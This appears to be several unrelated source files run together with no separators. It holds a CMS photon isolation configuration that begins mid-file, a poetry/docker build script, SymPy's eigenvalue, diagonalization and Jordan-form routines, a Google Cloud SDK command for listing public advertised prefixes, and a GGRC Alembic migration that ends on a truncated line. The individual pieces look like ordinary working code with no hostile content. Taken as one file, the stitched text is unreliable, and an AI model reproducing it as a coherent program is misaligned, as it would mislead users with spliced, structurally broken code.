#phPFIsoDepositGamma=isoDepositReplace('pfSelectedPhotons','pfAllPhotons') phPFIsoDepositPU=isoDepositReplace('pfSelectedPhotons','pfPileUpAllChargedParticles') phPFIsoDepositGamma= cms.EDProducer("CandIsoDepositProducer", src = cms.InputTag("pfSelectedPhotons"), MultipleDepositsFlag = cms.bool(False), trackType = cms.string('candidate'), ExtractorPSet = cms.PSet( Diff_z = cms.double(99999.99), ComponentName = cms.string('PFCandWithSuperClusterExtractor'), DR_Max = cms.double(0.4), Diff_r = cms.double(99999.99), inputCandView = cms.InputTag("pfAllPhotons"), DR_Veto = cms.double(0), SCMatch_Veto = cms.bool(True), MissHitSCMatch_Veto = cms.bool(False), DepositLabel = cms.untracked.string('') ) ) phPFIsoDepositCharged.ExtractorPSet.DR_Veto = cms.double(0) phPFIsoDepositChargedAll.ExtractorPSet.DR_Veto = cms.double(0) phPFIsoDepositNeutral.ExtractorPSet.DR_Veto = cms.double(0) phPFIsoDepositPU.ExtractorPSet.DR_Veto = cms.double(0) photonPFIsolationDepositsTask = cms.Task( phPFIsoDepositCharged, phPFIsoDepositChargedAll, phPFIsoDepositGamma, phPFIsoDepositNeutral, phPFIsoDepositPU ) photonPFIsolationDepositsSequence = cms.Sequence(photonPFIsolationDepositsTask) from scripts import CommandProcessor def main(): commands = { "removing old packages": "rm -rf dist", "building the project": "poetry build", "creating docker image :whale:": "docker build -t sauljabin/kaskade:latest -f docker/Dockerfile .", } command_processor = CommandProcessor(commands) command_processor.run() if __name__ == "__main__": main() from types import FunctionType from collections import Counter from mpmath import mp, workprec from mpmath.libmp.libmpf import prec_to_dps from sympy.core.compatibility import default_sort_key from sympy.core.evalf import DEFAULT_MAXPREC, PrecisionExhausted from sympy.core.logic import fuzzy_and, fuzzy_or from sympy.core.numbers import Float from sympy.core.sympify import _sympify from sympy.functions.elementary.miscellaneous import sqrt from sympy.polys import roots from sympy.simplify import nsimplify, simplify as _simplify from sympy.utilities.exceptions import SymPyDeprecationWarning from .common import MatrixError, NonSquareMatrixError from .utilities import _iszero def _eigenvals_triangular(M, multiple=False): """A fast decision for eigenvalues of an upper or a lower triangular matrix. """ diagonal_entries = [M[i, i] for i in range(M.rows)] if multiple: return diagonal_entries return dict(Counter(diagonal_entries)) def _eigenvals_eigenvects_mpmath(M): norm2 = lambda v: mp.sqrt(sum(i**2 for i in v)) v1 = None prec = max([x._prec for x in M.atoms(Float)]) eps = 2**-prec while prec < DEFAULT_MAXPREC: with workprec(prec): A = mp.matrix(M.evalf(n=prec_to_dps(prec))) E, ER = mp.eig(A) v2 = norm2([i for e in E for i in (mp.re(e), mp.im(e))]) if v1 is not None and mp.fabs(v1 - v2) < eps: return E, ER v1 = v2 prec *= 2 # we get here because the next step would have taken us # past MAXPREC or because we never took a step; in case # of the latter, we refuse to send back a solution since # it would not have been verified; we also resist taking # a small step to arrive exactly at MAXPREC since then # the two calculations might be artificially close. raise PrecisionExhausted def _eigenvals_mpmath(M, multiple=False): """Compute eigenvalues using mpmath""" E, _ = _eigenvals_eigenvects_mpmath(M) result = [_sympify(x) for x in E] if multiple: return result return dict(Counter(result)) def _eigenvects_mpmath(M): E, ER = _eigenvals_eigenvects_mpmath(M) result = [] for i in range(M.rows): eigenval = _sympify(E[i]) eigenvect = _sympify(ER[:, i]) result.append((eigenval, 1, [eigenvect])) return result # This functions is a candidate for caching if it gets implemented for matrices. def _eigenvals(M, error_when_incomplete=True, **flags): r"""Return eigenvalues using the Berkowitz agorithm to compute the characteristic polynomial. Parameters ========== error_when_incomplete : bool, optional If it is set to ``True``, it will raise an error if not all eigenvalues are computed. This is caused by ``roots`` not returning a full list of eigenvalues. simplify : bool or function, optional If it is set to ``True``, it attempts to return the most simplified form of expressions returned by applying default simplification method in every routine. If it is set to ``False``, it will skip simplification in this particular routine to save computation resources. If a function is passed to, it will attempt to apply the particular function as simplification method. rational : bool, optional If it is set to ``True``, every floating point numbers would be replaced with rationals before computation. It can solve some issues of ``roots`` routine not working well with floats. multiple : bool, optional If it is set to ``True``, the result will be in the form of a list. If it is set to ``False``, the result will be in the form of a dictionary. Returns ======= eigs : list or dict Eigenvalues of a matrix. The return format would be specified by the key ``multiple``. Raises ====== MatrixError If not enough roots had got computed. NonSquareMatrixError If attempted to compute eigenvalues from a non-square matrix. Examples ======== >>> from sympy.matrices import Matrix >>> M = Matrix(3, 3, [0, 1, 1, 1, 0, 0, 1, 1, 1]) >>> M.eigenvals() {-1: 1, 0: 1, 2: 1} See Also ======== MatrixDeterminant.charpoly eigenvects Notes ===== Eigenvalues of a matrix `A` can be computed by solving a matrix equation `\det(A - \lambda I) = 0` """ if not M: return {} if not M.is_square: raise NonSquareMatrixError("{} must be a square matrix.".format(M)) simplify = flags.pop('simplify', False) multiple = flags.get('multiple', False) rational = flags.pop('rational', True) if M.is_upper or M.is_lower: return _eigenvals_triangular(M, multiple=multiple) if all(x.is_number for x in M) and M.has(Float): return _eigenvals_mpmath(M, multiple=multiple) if rational: M = M.applyfunc( lambda x: nsimplify(x, rational=True) if x.has(Float) else x) if isinstance(simplify, FunctionType): eigs = roots(M.charpoly(simplify=simplify), **flags) else: eigs = roots(M.charpoly(), **flags) # make sure the algebraic multiplicity sums to the # size of the matrix if error_when_incomplete: if not multiple and sum(eigs.values()) != M.rows or \ multiple and len(eigs) != M.cols: raise MatrixError( "Could not compute eigenvalues for {}".format(M)) # Since 'simplify' flag is unsupported in roots() # simplify() function will be applied once at the end of the routine. if not simplify: return eigs if not isinstance(simplify, FunctionType): simplify = _simplify # With 'multiple' flag set true, simplify() will be mapped for the list # Otherwise, simplify() will be mapped for the keys of the dictionary if not multiple: return {simplify(key): value for key, value in eigs.items()} else: return [simplify(value) for value in eigs] def _eigenspace(M, eigenval, iszerofunc=_iszero, simplify=False): """Get a basis for the eigenspace for a particular eigenvalue""" m = M - M.eye(M.rows) * eigenval ret = m.nullspace(iszerofunc=iszerofunc) # The nullspace for a real eigenvalue should be non-trivial. # If we didn't find an eigenvector, try once more a little harder if len(ret) == 0 and simplify: ret = m.nullspace(iszerofunc=iszerofunc, simplify=True) if len(ret) == 0: raise NotImplementedError( "Can't evaluate eigenvector for eigenvalue {}".format(eigenval)) return ret # This functions is a candidate for caching if it gets implemented for matrices. def _eigenvects(M, error_when_incomplete=True, iszerofunc=_iszero, **flags): """Return list of triples (eigenval, multiplicity, eigenspace). Parameters ========== error_when_incomplete : bool, optional Raise an error when not all eigenvalues are computed. This is caused by ``roots`` not returning a full list of eigenvalues. iszerofunc : function, optional Specifies a zero testing function to be used in ``rref``. Default value is ``_iszero``, which uses SymPy's naive and fast default assumption handler. It can also accept any user-specified zero testing function, if it is formatted as a function which accepts a single symbolic argument and returns ``True`` if it is tested as zero and ``False`` if it is tested as non-zero, and ``None`` if it is undecidable. simplify : bool or function, optional If ``True``, ``as_content_primitive()`` will be used to tidy up normalization artifacts. It will also be used by the ``nullspace`` routine. chop : bool or positive number, optional If the matrix contains any Floats, they will be changed to Rationals for computation purposes, but the answers will be returned after being evaluated with evalf. The ``chop`` flag is passed to ``evalf``. When ``chop=True`` a default precision will be used; a number will be interpreted as the desired level of precision. Returns ======= ret : [(eigenval, multiplicity, eigenspace), ...] A ragged list containing tuples of data obtained by ``eigenvals`` and ``nullspace``. ``eigenspace`` is a list containing the ``eigenvector`` for each eigenvalue. ``eigenvector`` is a vector in the form of a ``Matrix``. e.g. a vector of length 3 is returned as ``Matrix([a_1, a_2, a_3])``. Raises ====== NotImplementedError If failed to compute nullspace. Examples ======== >>> from sympy.matrices import Matrix >>> M = Matrix(3, 3, [0, 1, 1, 1, 0, 0, 1, 1, 1]) >>> M.eigenvects() [(-1, 1, [Matrix([ [-1], [ 1], [ 0]])]), (0, 1, [Matrix([ [ 0], [-1], [ 1]])]), (2, 1, [Matrix([ [2/3], [1/3], [ 1]])])] See Also ======== eigenvals MatrixSubspaces.nullspace """ simplify = flags.get('simplify', True) primitive = flags.get('simplify', False) chop = flags.pop('chop', False) flags.pop('multiple', None) # remove this if it's there if not isinstance(simplify, FunctionType): simpfunc = _simplify if simplify else lambda x: x has_floats = M.has(Float) if has_floats: if all(x.is_number for x in M): return _eigenvects_mpmath(M) M = M.applyfunc(lambda x: nsimplify(x, rational=True)) eigenvals = M.eigenvals( rational=False, error_when_incomplete=error_when_incomplete, **flags) eigenvals = sorted(eigenvals.items(), key=default_sort_key) ret = [] for val, mult in eigenvals: vects = _eigenspace(M, val, iszerofunc=iszerofunc, simplify=simplify) ret.append((val, mult, vects)) if primitive: # if the primitive flag is set, get rid of any common # integer denominators def denom_clean(l): from sympy import gcd return [(v / gcd(list(v))).applyfunc(simpfunc) for v in l] ret = [(val, mult, denom_clean(es)) for val, mult, es in ret] if has_floats: # if we had floats to start with, turn the eigenvectors to floats ret = [(val.evalf(chop=chop), mult, [v.evalf(chop=chop) for v in es]) for val, mult, es in ret] return ret def _is_diagonalizable_with_eigen(M, reals_only=False): """See _is_diagonalizable. This function returns the bool along with the eigenvectors to avoid calculating them again in functions like ``diagonalize``.""" if not M.is_square: return False, [] eigenvecs = M.eigenvects(simplify=True) for val, mult, basis in eigenvecs: if reals_only and not val.is_real: # if we have a complex eigenvalue return False, eigenvecs if mult != len(basis): # if the geometric multiplicity doesn't equal the algebraic return False, eigenvecs return True, eigenvecs def _is_diagonalizable(M, reals_only=False, **kwargs): """Returns ``True`` if a matrix is diagonalizable. Parameters ========== reals_only : bool, optional If ``True``, it tests whether the matrix can be diagonalized to contain only real numbers on the diagonal. If ``False``, it tests whether the matrix can be diagonalized at all, even with numbers that may not be real. Examples ======== Example of a diagonalizable matrix: >>> from sympy import Matrix >>> M = Matrix([[1, 2, 0], [0, 3, 0], [2, -4, 2]]) >>> M.is_diagonalizable() True Example of a non-diagonalizable matrix: >>> M = Matrix([[0, 1], [0, 0]]) >>> M.is_diagonalizable() False Example of a matrix that is diagonalized in terms of non-real entries: >>> M = Matrix([[0, 1], [-1, 0]]) >>> M.is_diagonalizable(reals_only=False) True >>> M.is_diagonalizable(reals_only=True) False See Also ======== is_diagonal diagonalize """ if 'clear_cache' in kwargs: SymPyDeprecationWarning( feature='clear_cache', deprecated_since_version=1.4, issue=15887 ).warn() if 'clear_subproducts' in kwargs: SymPyDeprecationWarning( feature='clear_subproducts', deprecated_since_version=1.4, issue=15887 ).warn() if not M.is_square: return False if all(e.is_real for e in M) and M.is_symmetric(): return True if all(e.is_complex for e in M) and M.is_hermitian: return True return _is_diagonalizable_with_eigen(M, reals_only=reals_only)[0] #G&VL, Matrix Computations, Algo 5.4.2 def _householder_vector(x): if not x.cols == 1: raise ValueError("Input must be a column matrix") v = x.copy() v_plus = x.copy() v_minus = x.copy() q = x[0, 0] / abs(x[0, 0]) norm_x = x.norm() v_plus[0, 0] = x[0, 0] + q * norm_x v_minus[0, 0] = x[0, 0] - q * norm_x if x[1:, 0].norm() == 0: bet = 0 v[0, 0] = 1 else: if v_plus.norm() <= v_minus.norm(): v = v_plus else: v = v_minus v = v / v[0] bet = 2 / (v.norm() ** 2) return v, bet def _bidiagonal_decmp_hholder(M): m = M.rows n = M.cols A = M.as_mutable() U, V = A.eye(m), A.eye(n) for i in range(min(m, n)): v, bet = _householder_vector(A[i:, i]) hh_mat = A.eye(m - i) - bet * v * v.H A[i:, i:] = hh_mat * A[i:, i:] temp = A.eye(m) temp[i:, i:] = hh_mat U = U * temp if i + 1 <= n - 2: v, bet = _householder_vector(A[i, i+1:].T) hh_mat = A.eye(n - i - 1) - bet * v * v.H A[i:, i+1:] = A[i:, i+1:] * hh_mat temp = A.eye(n) temp[i+1:, i+1:] = hh_mat V = temp * V return U, A, V def _eval_bidiag_hholder(M): m = M.rows n = M.cols A = M.as_mutable() for i in range(min(m, n)): v, bet = _householder_vector(A[i:, i]) hh_mat = A.eye(m-i) - bet * v * v.H A[i:, i:] = hh_mat * A[i:, i:] if i + 1 <= n - 2: v, bet = _householder_vector(A[i, i+1:].T) hh_mat = A.eye(n - i - 1) - bet * v * v.H A[i:, i+1:] = A[i:, i+1:] * hh_mat return A def _bidiagonal_decomposition(M, upper=True): """ Returns (U,B,V.H) `A = UBV^{H}` where A is the input matrix, and B is its Bidiagonalized form Note: Bidiagonal Computation can hang for symbolic matrices. Parameters ========== upper : bool. Whether to do upper bidiagnalization or lower. True for upper and False for lower. References ========== 1. Algorith 5.4.2, Matrix computations by Golub and Van Loan, 4th edition 2. Complex Matrix Bidiagonalization : https://github.com/vslobody/Householder-Bidiagonalization """ if type(upper) is not bool: raise ValueError("upper must be a boolean") if not upper: X = _bidiagonal_decmp_hholder(M.H) return X[2].H, X[1].H, X[0].H return _bidiagonal_decmp_hholder(M) def _bidiagonalize(M, upper=True): """ Returns `B` where B is the Bidiagonalized form of the input matrix. Note: Bidiagonal Computation can hang for symbolic matrices. Parameters ========== upper : bool. Whether to do upper bidiagnalization or lower. True for upper and False for lower. References ========== 1. Algorith 5.4.2, Matrix computations by Golub and Van Loan, 4th edition 2. Complex Matrix Bidiagonalization : https://github.com/vslobody/Householder-Bidiagonalization """ if type(upper) is not bool: raise ValueError("upper must be a boolean") if not upper: return _eval_bidiag_hholder(M.H).H return _eval_bidiag_hholder(M) def _diagonalize(M, reals_only=False, sort=False, normalize=False): """ Return (P, D), where D is diagonal and D = P^-1 * M * P where M is current matrix. Parameters ========== reals_only : bool. Whether to throw an error if complex numbers are need to diagonalize. (Default: False) sort : bool. Sort the eigenvalues along the diagonal. (Default: False) normalize : bool. If True, normalize the columns of P. (Default: False) Examples ======== >>> from sympy.matrices import Matrix >>> M = Matrix(3, 3, [1, 2, 0, 0, 3, 0, 2, -4, 2]) >>> M Matrix([ [1, 2, 0], [0, 3, 0], [2, -4, 2]]) >>> (P, D) = M.diagonalize() >>> D Matrix([ [1, 0, 0], [0, 2, 0], [0, 0, 3]]) >>> P Matrix([ [-1, 0, -1], [ 0, 0, -1], [ 2, 1, 2]]) >>> P.inv() * M * P Matrix([ [1, 0, 0], [0, 2, 0], [0, 0, 3]]) See Also ======== is_diagonal is_diagonalizable """ if not M.is_square: raise NonSquareMatrixError() is_diagonalizable, eigenvecs = _is_diagonalizable_with_eigen(M, reals_only=reals_only) if not is_diagonalizable: raise MatrixError("Matrix is not diagonalizable") if sort: eigenvecs = sorted(eigenvecs, key=default_sort_key) p_cols, diag = [], [] for val, mult, basis in eigenvecs: diag += [val] * mult p_cols += basis if normalize: p_cols = [v / v.norm() for v in p_cols] return M.hstack(*p_cols), M.diag(*diag) def _fuzzy_positive_definite(M): positive_diagonals = M._has_positive_diagonals() if positive_diagonals is False: return False if positive_diagonals and M.is_strongly_diagonally_dominant: return True return None def _is_positive_definite(M): if not M.is_hermitian: if not M.is_square: return False M = M + M.H fuzzy = _fuzzy_positive_definite(M) if fuzzy is not None: return fuzzy return _is_positive_definite_GE(M) def _is_positive_semidefinite(M): if not M.is_hermitian: if not M.is_square: return False M = M + M.H nonnegative_diagonals = M._has_nonnegative_diagonals() if nonnegative_diagonals is False: return False if nonnegative_diagonals and M.is_weakly_diagonally_dominant: return True return _is_positive_semidefinite_minors(M) def _is_negative_definite(M): return _is_positive_definite(-M) def _is_negative_semidefinite(M): return _is_positive_semidefinite(-M) def _is_indefinite(M): if M.is_hermitian: eigen = M.eigenvals() args1 = [x.is_positive for x in eigen.keys()] any_positive = fuzzy_or(args1) args2 = [x.is_negative for x in eigen.keys()] any_negative = fuzzy_or(args2) return fuzzy_and([any_positive, any_negative]) elif M.is_square: return (M + M.H).is_indefinite return False def _is_positive_definite_GE(M): """A division-free gaussian elimination method for testing positive-definiteness.""" M = M.as_mutable() size = M.rows for i in range(size): is_positive = M[i, i].is_positive if is_positive is not True: return is_positive for j in range(i+1, size): M[j, i+1:] = M[i, i] * M[j, i+1:] - M[j, i] * M[i, i+1:] return True def _is_positive_semidefinite_minors(M): """A method to evaluate all principal minors for testing positive-semidefiniteness.""" size = M.rows for i in range(size): minor = M[:i+1, :i+1].det(method='berkowitz') is_nonnegative = minor.is_nonnegative if is_nonnegative is not True: return is_nonnegative return True _doc_positive_definite = \ r"""Finds out the definiteness of a matrix. Examples ======== An example of numeric positive definite matrix: >>> from sympy import Matrix >>> A = Matrix([[1, -2], [-2, 6]]) >>> A.is_positive_definite True >>> A.is_positive_semidefinite True >>> A.is_negative_definite False >>> A.is_negative_semidefinite False >>> A.is_indefinite False An example of numeric negative definite matrix: >>> A = Matrix([[-1, 2], [2, -6]]) >>> A.is_positive_definite False >>> A.is_positive_semidefinite False >>> A.is_negative_definite True >>> A.is_negative_semidefinite True >>> A.is_indefinite False An example of numeric indefinite matrix: >>> A = Matrix([[1, 2], [2, 1]]) >>> A.is_positive_definite False >>> A.is_positive_semidefinite False >>> A.is_negative_definite False >>> A.is_negative_semidefinite False >>> A.is_indefinite True Notes ===== Definitiveness is not very commonly discussed for non-hermitian matrices. However, computing the definitiveness of a matrix can be generalized over any real matrix by taking the symmetric part: `A_S = 1/2 (A + A^{T})` Or over any complex matrix by taking the hermitian part: `A_H = 1/2 (A + A^{H})` And computing the eigenvalues. References ========== .. [1] https://en.wikipedia.org/wiki/Definiteness_of_a_matrix#Eigenvalues .. [2] http://mathworld.wolfram.com/PositiveDefiniteMatrix.html .. [3] . "Positive Definite Matrices." Amer. Math. Monthly 77, 259-264 1970. """ _is_positive_definite.__doc__ = _doc_positive_definite _is_positive_semidefinite.__doc__ = _doc_positive_definite _is_negative_definite.__doc__ = _doc_positive_definite _is_negative_semidefinite.__doc__ = _doc_positive_definite _is_indefinite.__doc__ = _doc_positive_definite def _jordan_form(M, calc_transform=True, **kwargs): """Return ``(P, J)`` where `J` is a Jordan block matrix and `P` is a matrix such that ``M == P*J*P**-1`` Parameters ========== calc_transform : bool If ``False``, then only `J` is returned. chop : bool All matrices are converted to exact types when computing eigenvalues and eigenvectors. As a result, there may be approximation errors. If ``chop==True``, these errors will be truncated. Examples ======== >>> from sympy.matrices import Matrix >>> M = Matrix([[ 6, 5, -2, -3], [-3, -1, 3, 3], [ 2, 1, -2, -3], [-1, 1, 5, 5]]) >>> P, J = M.jordan_form() >>> J Matrix([ [2, 1, 0, 0], [0, 2, 0, 0], [0, 0, 2, 1], [0, 0, 0, 2]]) See Also ======== jordan_block """ if not M.is_square: raise NonSquareMatrixError("Only square matrices have Jordan forms") chop = kwargs.pop('chop', False) mat = M has_floats = M.has(Float) if has_floats: try: max_prec = max(term._prec for term in M._mat if isinstance(term, Float)) except ValueError: # if no term in the matrix is explicitly a Float calling max() # will throw a error so setting max_prec to default value of 53 max_prec = 53 # setting minimum max_dps to 15 to prevent loss of precision in # matrix containing non evaluated expressions max_dps = max(prec_to_dps(max_prec), 15) def restore_floats(*args): """If ``has_floats`` is `True`, cast all ``args`` as matrices of floats.""" if has_floats: args = [m.evalf(n=max_dps, chop=chop) for m in args] if len(args) == 1: return args[0] return args # cache calculations for some speedup mat_cache = {} def eig_mat(val, pow): """Cache computations of ``(M - val*I)**pow`` for quick retrieval""" if (val, pow) in mat_cache: return mat_cache[(val, pow)] if (val, pow - 1) in mat_cache: mat_cache[(val, pow)] = mat_cache[(val, pow - 1)].multiply( mat_cache[(val, 1)], dotprodsimp=True) else: mat_cache[(val, pow)] = (mat - val*M.eye(M.rows)).pow(pow) return mat_cache[(val, pow)] # helper functions def nullity_chain(val, algebraic_multiplicity): """Calculate the sequence [0, nullity(E), nullity(E**2), ...] until it is constant where ``E = M - val*I``""" # mat.rank() is faster than computing the null space, # so use the rank-nullity theorem cols = M.cols ret = [0] nullity = cols - eig_mat(val, 1).rank() i = 2 while nullity != ret[-1]: ret.append(nullity) if nullity == algebraic_multiplicity: break nullity = cols - eig_mat(val, i).rank() i += 1 # Due to issues like #7146 and #15872, SymPy sometimes # gives the wrong rank. In this case, raise an error # instead of returning an incorrect matrix if nullity < ret[-1] or nullity > algebraic_multiplicity: raise MatrixError( "SymPy had encountered an inconsistent " "result while computing Jordan block: " "{}".format(M)) return ret def blocks_from_nullity_chain(d): """Return a list of the size of each Jordan block. If d_n is the nullity of E**n, then the number of Jordan blocks of size n is 2*d_n - d_(n-1) - d_(n+1)""" # d[0] is always the number of columns, so skip past it mid = [2*d[n] - d[n - 1] - d[n + 1] for n in range(1, len(d) - 1)] # d is assumed to plateau with "d[ len(d) ] == d[-1]", so # 2*d_n - d_(n-1) - d_(n+1) == d_n - d_(n-1) end = [d[-1] - d[-2]] if len(d) > 1 else [d[0]] return mid + end def pick_vec(small_basis, big_basis): """Picks a vector from big_basis that isn't in the subspace spanned by small_basis""" if len(small_basis) == 0: return big_basis[0] for v in big_basis: _, pivots = M.hstack(*(small_basis + [v])).echelon_form( with_pivots=True) if pivots[-1] == len(small_basis): return v # roots doesn't like Floats, so replace them with Rationals if has_floats: mat = mat.applyfunc(lambda x: nsimplify(x, rational=True)) # first calculate the jordan block structure eigs = mat.eigenvals() # make sure that we found all the roots by counting # the algebraic multiplicity if sum(m for m in eigs.values()) != mat.cols: raise MatrixError("Could not compute eigenvalues for {}".format(mat)) # most matrices have distinct eigenvalues # and so are diagonalizable. In this case, don't # do extra work! if len(eigs.keys()) == mat.cols: blocks = list(sorted(eigs.keys(), key=default_sort_key)) jordan_mat = mat.diag(*blocks) if not calc_transform: return restore_floats(jordan_mat) jordan_basis = [eig_mat(eig, 1).nullspace()[0] for eig in blocks] basis_mat = mat.hstack(*jordan_basis) return restore_floats(basis_mat, jordan_mat) block_structure = [] for eig in sorted(eigs.keys(), key=default_sort_key): algebraic_multiplicity = eigs[eig] chain = nullity_chain(eig, algebraic_multiplicity) block_sizes = blocks_from_nullity_chain(chain) # if block_sizes = = [a, b, c, ...], then the number of # Jordan blocks of size 1 is a, of size 2 is b, etc. # create an array that has (eig, block_size) with one # entry for each block size_nums = [(i+1, num) for i, num in enumerate(block_sizes)] # we expect larger Jordan blocks to come earlier size_nums.reverse() block_structure.extend( (eig, size) for size, num in size_nums for _ in range(num)) jordan_form_size = sum(size for eig, size in block_structure) if jordan_form_size != M.rows: raise MatrixError( "SymPy had encountered an inconsistent result while " "computing Jordan block. : {}".format(M)) blocks = (mat.jordan_block(size=size, eigenvalue=eig) for eig, size in block_structure) jordan_mat = mat.diag(*blocks) if not calc_transform: return restore_floats(jordan_mat) # For each generalized eigenspace, calculate a basis. # We start by looking for a vector in null( (A - eig*I)**n ) # which isn't in null( (A - eig*I)**(n-1) ) where n is # the size of the Jordan block # # Ideally we'd just loop through block_structure and # compute each generalized eigenspace. However, this # causes a lot of unneeded computation. Instead, we # go through the eigenvalues separately, since we know # their generalized eigenspaces must have bases that # are linearly independent. jordan_basis = [] for eig in sorted(eigs.keys(), key=default_sort_key): eig_basis = [] for block_eig, size in block_structure: if block_eig != eig: continue null_big = (eig_mat(eig, size)).nullspace() null_small = (eig_mat(eig, size - 1)).nullspace() # we want to pick something that is in the big basis # and not the small, but also something that is independent # of any other generalized eigenvectors from a different # generalized eigenspace sharing the same eigenvalue. vec = pick_vec(null_small + eig_basis, null_big) new_vecs = [eig_mat(eig, i).multiply(vec, dotprodsimp=True) for i in range(size)] eig_basis.extend(new_vecs) jordan_basis.extend(reversed(new_vecs)) basis_mat = mat.hstack(*jordan_basis) return restore_floats(basis_mat, jordan_mat) def _left_eigenvects(M, **flags): """Returns left eigenvectors and eigenvalues. This function returns the list of triples (eigenval, multiplicity, basis) for the left eigenvectors. Options are the same as for eigenvects(), i.e. the ``**flags`` arguments gets passed directly to eigenvects(). Examples ======== >>> from sympy.matrices import Matrix >>> M = Matrix([[0, 1, 1], [1, 0, 0], [1, 1, 1]]) >>> M.eigenvects() [(-1, 1, [Matrix([ [-1], [ 1], [ 0]])]), (0, 1, [Matrix([ [ 0], [-1], [ 1]])]), (2, 1, [Matrix([ [2/3], [1/3], [ 1]])])] >>> M.left_eigenvects() [(-1, 1, [Matrix([[-2, 1, 1]])]), (0, 1, [Matrix([[-1, -1, 1]])]), (2, 1, [Matrix([[1, 1, 1]])])] """ eigs = M.transpose().eigenvects(**flags) return [(val, mult, [l.transpose() for l in basis]) for val, mult, basis in eigs] def _singular_values(M): """Compute the singular values of a Matrix Examples ======== >>> from sympy import Matrix, Symbol >>> x = Symbol('x', real=True) >>> M = Matrix([[0, 1, 0], [0, x, 0], [-1, 0, 0]]) >>> M.singular_values() [sqrt(x**2 + 1), 1, 0] See Also ======== condition_number """ if M.rows >= M.cols: valmultpairs = M.H.multiply(M).eigenvals() else: valmultpairs = M.multiply(M.H).eigenvals() # Expands result from eigenvals into a simple list vals = [] for k, v in valmultpairs.items(): vals += [sqrt(k)] * v # dangerous! same k in several spots! # Pad with zeros if singular values are computed in reverse way, # to give consistent format. if len(vals) < M.cols: vals += [M.zero] * (M.cols - len(vals)) # sort them in descending order vals.sort(reverse=True, key=default_sort_key) return vals google-cloud-sdk-unofficial/google-cloud-sdk1-10 # -*- coding: utf-8 -*- # # Copyright 2019 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """List public advertised prefixes command.""" from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals from googlecloudsdk.api_lib.compute import base_classes from googlecloudsdk.api_lib.compute import lister from googlecloudsdk.calliope import base class List(base.ListCommand): """Lists Compute Engine public advertised prefixes.""" @staticmethod def Args(parser): parser.display_info.AddFormat("""\ table( name, ipCidrRange:label=RANGE, dnsVerificationIp, status )""") def Run(self, args): holder = base_classes.ComputeApiHolder(self.ReleaseTrack()) client = holder.client request_data = lister.ParseNamesAndRegexpFlags( args, holder.resources, client.messages.PublicAdvertisedPrefix) list_implementation = lister.GlobalLister( client, client.apitools_client.publicAdvertisedPrefixes) return lister.Invoke(request_data, list_implementation) List.detailed_help = base_classes.GetGlobalListerHelp( 'public advertised prefixes') # Copyright (C) 2019 Google Inc. # Licensed under http://www.apache.org/licenses/LICENSE-2.0 """ Create Key Report table Create Date: 2019-01-18 10:23:09.355700 """ # disable Invalid constant name pylint warning for mandatory Alembic variables. # pylint: disable=invalid-name import datetime import sqlalchemy as sa from alembic import op from ggrc.migrations import utils from ggrc.migrations.utils import migrator from ggrc.migrations.utils import ( acr_propagation_constants_key_report as acr_constants ) from ggrc.migrations.utils import acr_propagation revision = '771c70dd6be3' down_revision = 'c3224a449d11' # Here we store name of ACR, read, update, delete, mandatory flags KEY_REPORT_ACRS = { ('Primary Contacts', '1', '1', '1', '0'), ('Secondary Contacts', '1', '1', '1', '0'), ('Admin', '1', '1', '1', '1'), ('Product Managers', '1', '1', '1', '0'), ('Technical Leads', '1', '1', '1', '0'), ('Technical / Program Managers', '1', '1', '1', '0'), ('Legal Counsels', '1', '1', '1', '0'), ('System Owners', '1', '1', '1', '0'), ('Assignee', '1', '1', '1', '1'), ('Verifier', '1', '1', '1', '1'), ('Compliance Contacts', '1', '1', '1', '0'), ('Line of Defense One Contacts', '1', '1', '1', '0'), ('Vice Presidents', '1', '1', '1', '0'), } def create_key_reports_table(): """Create key_reports table""" op.create_table( 'key_reports', sa.Column('id', sa.Integer(), nullable=False), sa.Column('title', sa.String(length=250), nullable=False), sa.Column('description', sa.String(length=2000), nullable=True), sa.Column('start_date', sa.Date(), nullable=True), sa.Column('end_date', sa.Date(), nullable=True), sa.Column('slug', sa.String(length=250), nullable=False), sa.Column('infrastructure', sa.Boolean(), nullable=True), sa.Column('version', sa.String(length=250), nullable=True), sa.Column('notes', sa.Text(), nullable=False), sa.Column('network_zone_id', sa.Integer(), nullable=True), sa.Column('context_id', sa.Integer(), nullable=True), sa.Column('status', sa.String(length=250), nullable=False), sa.Column( 'os_state', sa.String(length=16), nullable=False, server_default='Unreviewed', ), sa.Column('recipients', sa.String(length=250), nullable=True), sa.Column('send_by_default', sa.Boolean(), nullable=False, default=True), sa.Column('test_plan', sa.Text(), nullable=False), sa.Column('folder', sa.Text(), nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('modified_by_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint( ['context_id'], ['contexts.id'], name='fk_context_id' ), sa.ForeignKeyConstraint( ['modified_by_id'], ['people.id'], name='fk_modified_by_id' ), sa.PrimaryKeyConstraint('id') ) op.create_unique_constraint("uq_key_reports_slug", "key_reports", ["slug"]) op.create_unique_constraint("uq_key_reports_title", "key_reports", ["title"]) op.create_index( 'ix_key_reports_contexts', 'key_reports', ['context_id'], unique=False ) op.create_index( 'ix_key_reports_updated_at', 'key_reports', ['updated_at'], unique=False ) def create_acrs(): """Create ACRs for KeyReport model""" connection = op.get_bind() migrator_id = migrator.get_migration_user_id(connection) for name, read, update, delete, mandatory in KEY_REPORT_ACRS: query = acr_propagation.ACR_TABLE.insert().values( name=name, object_type="KeyReport", created_at=datetime.datetime.utcnow(), updated_at=datetime.datetime.utcnow(), modified_by_id=migrator_id, internal=False, non_editable=True, mandatory=mandatory, # Mandatory roles are default to user default_to_current_user=mandatory, my_work=1, read=read, update=update, delete=delete, ) result = connection.execute(query) utils.add_to_objects_without_revisions( connection, result.lastrowid, "AccessControlRole" ) def propagate_acr(): """Create propagation system ACRs for KeyReport model""" acr_propagation.propagate_roles( acr_constants.GGRC_BASIC_PERMISSIONS_PROPAGATION, with_update=True ) def upgrade(): """Upgrade database schema and/or data, creating a new revision.""" create_key_reports_table() create_acrs() propagate_acr() def downgrade(): """Downgrade database schema and/or data back to the previous revision.""" raise Exception("Downgrade is not supported.") # -*- 